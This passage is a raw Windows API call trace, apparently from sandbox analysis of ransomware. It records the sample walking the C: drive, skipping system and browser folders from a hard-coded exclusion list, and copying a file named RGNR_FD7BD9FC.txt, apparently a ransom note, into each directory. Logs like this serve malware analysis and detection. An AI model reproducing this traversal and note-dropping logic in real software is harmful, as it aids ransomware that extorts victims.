dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e638060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.862] lstrcpyW (in: lpString1=0x1ed660, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.862] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.862] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e899660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e899660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ebdf4a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ebdf4a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.862] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0047.863] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.863] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0047.863] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1 [0047.863] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1 [0047.863] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0047.863] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0047.863] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0047.863] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2=".") returned 1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="..") returned 1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Windows") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Windows.old") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Tor browser") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Internet Explorer") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Google") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Opera") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Opera Software") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Mozilla") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="Mozilla Firefox") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="$Recycle.Bin") returned 1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="ProgramData") returned -1 [0047.863] lstrcmpiW (lpString1="Config.Msi", lpString2="All Users") returned 1 [0047.863] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.863] lstrcpyW (in: lpString1=0x1ee12e, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0047.863] lstrcatW (in: lpString1="\\\\?\\C:\\Config.Msi", lpString2="\\" | out: lpString1="\\\\?\\C:\\Config.Msi\\") returned="\\\\?\\C:\\Config.Msi\\" [0047.863] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\Config.Msi\\" | out: lpString1="\\\\?\\C:\\Config.Msi\\") returned="\\\\?\\C:\\Config.Msi\\" [0047.863] lstrcatW (in: lpString1="\\\\?\\C:\\Config.Msi\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Config.Msi\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Config.Msi\\RGNR_FD7BD9FC.txt" [0047.863] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Config.Msi\\RGNR_FD7BD9FC.txt" (normalized: "c:\\config.msi\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.865] lstrcatW (in: lpString1="\\\\?\\C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Config.Msi\\*.*") returned="\\\\?\\C:\\Config.Msi\\*.*" [0047.865] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Config.Msi\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x15 [0047.865] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.865] lstrcpyW (in: lpString1=0x1ed258, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec518c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.866] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec518c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.866] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.866] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec518c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.866] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.866] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec518c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.866] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec518c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec518c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec518c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.866] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Config.Msi\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x15 [0047.866] lstrcpyW (in: lpString1=0x1ed66c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.866] PathFindExtensionW (pszPath="\\\\?\\C:\\Config.Msi\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.866] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.866] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec518c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec518c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.866] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.866] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0047.866] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1 [0047.866] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1 [0047.866] lstrcmpiW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0047.866] lstrcmpiW (lpString1="Documents and Settings", lpString2="Windows.old") returned -1 [0047.866] lstrcmpiW (lpString1="Documents and Settings", lpString2="Tor browser") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Internet Explorer") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Google") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Opera") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Opera Software") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Mozilla") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="Mozilla Firefox") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="$Recycle.Bin") returned 1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="ProgramData") returned -1 [0047.867] lstrcmpiW (lpString1="Documents and Settings", lpString2="All Users") returned 1 [0047.867] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.867] lstrcpyW (in: lpString1=0x1ee12e, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0047.867] lstrcatW (in: lpString1="\\\\?\\C:\\Documents and Settings", lpString2="\\" | out: lpString1="\\\\?\\C:\\Documents and Settings\\") returned="\\\\?\\C:\\Documents and Settings\\" [0047.867] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\Documents and Settings\\" | out: lpString1="\\\\?\\C:\\Documents and Settings\\") returned="\\\\?\\C:\\Documents and Settings\\" [0047.867] lstrcatW (in: lpString1="\\\\?\\C:\\Documents and Settings\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Documents and Settings\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Documents and Settings\\RGNR_FD7BD9FC.txt" [0047.867] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Documents and Settings\\RGNR_FD7BD9FC.txt" (normalized: "c:\\documents and settings\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.872] lstrcatW (in: lpString1="\\\\?\\C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Documents and Settings\\*.*") returned="\\\\?\\C:\\Documents and Settings\\*.*" [0047.872] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Documents and Settings\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x21 [0047.872] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.872] lstrcpyW (in: lpString1=0x1ed270, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.872] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0047.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.872] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0047.872] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0047.873] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0047.873] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2=".") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="..") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Windows") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Windows.old") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Tor browser") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Internet Explorer") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Google") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Opera") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Opera Software") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Mozilla") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="Mozilla Firefox") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="$Recycle.Bin") returned 1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="ProgramData") returned -1 [0047.873] lstrcmpiW (lpString1="MSOCache", lpString2="All Users") returned 1 [0047.873] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.873] lstrcpyW (in: lpString1=0x1ee12e, lpString2="MSOCache" | out: lpString1="MSOCache") returned="MSOCache" [0047.873] lstrcatW (in: lpString1="\\\\?\\C:\\MSOCache", lpString2="\\" | out: lpString1="\\\\?\\C:\\MSOCache\\") returned="\\\\?\\C:\\MSOCache\\" [0047.873] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\MSOCache\\" | out: lpString1="\\\\?\\C:\\MSOCache\\") returned="\\\\?\\C:\\MSOCache\\" [0047.873] lstrcatW (in: lpString1="\\\\?\\C:\\MSOCache\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\MSOCache\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\MSOCache\\RGNR_FD7BD9FC.txt" [0047.873] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\MSOCache\\RGNR_FD7BD9FC.txt" (normalized: "c:\\msocache\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.875] lstrcatW (in: lpString1="\\\\?\\C:\\MSOCache\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\MSOCache\\*.*") returned="\\\\?\\C:\\MSOCache\\*.*" [0047.875] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\MSOCache\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\MSOCache\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x13 [0047.875] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.875] lstrcpyW (in: lpString1=0x1ed254, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 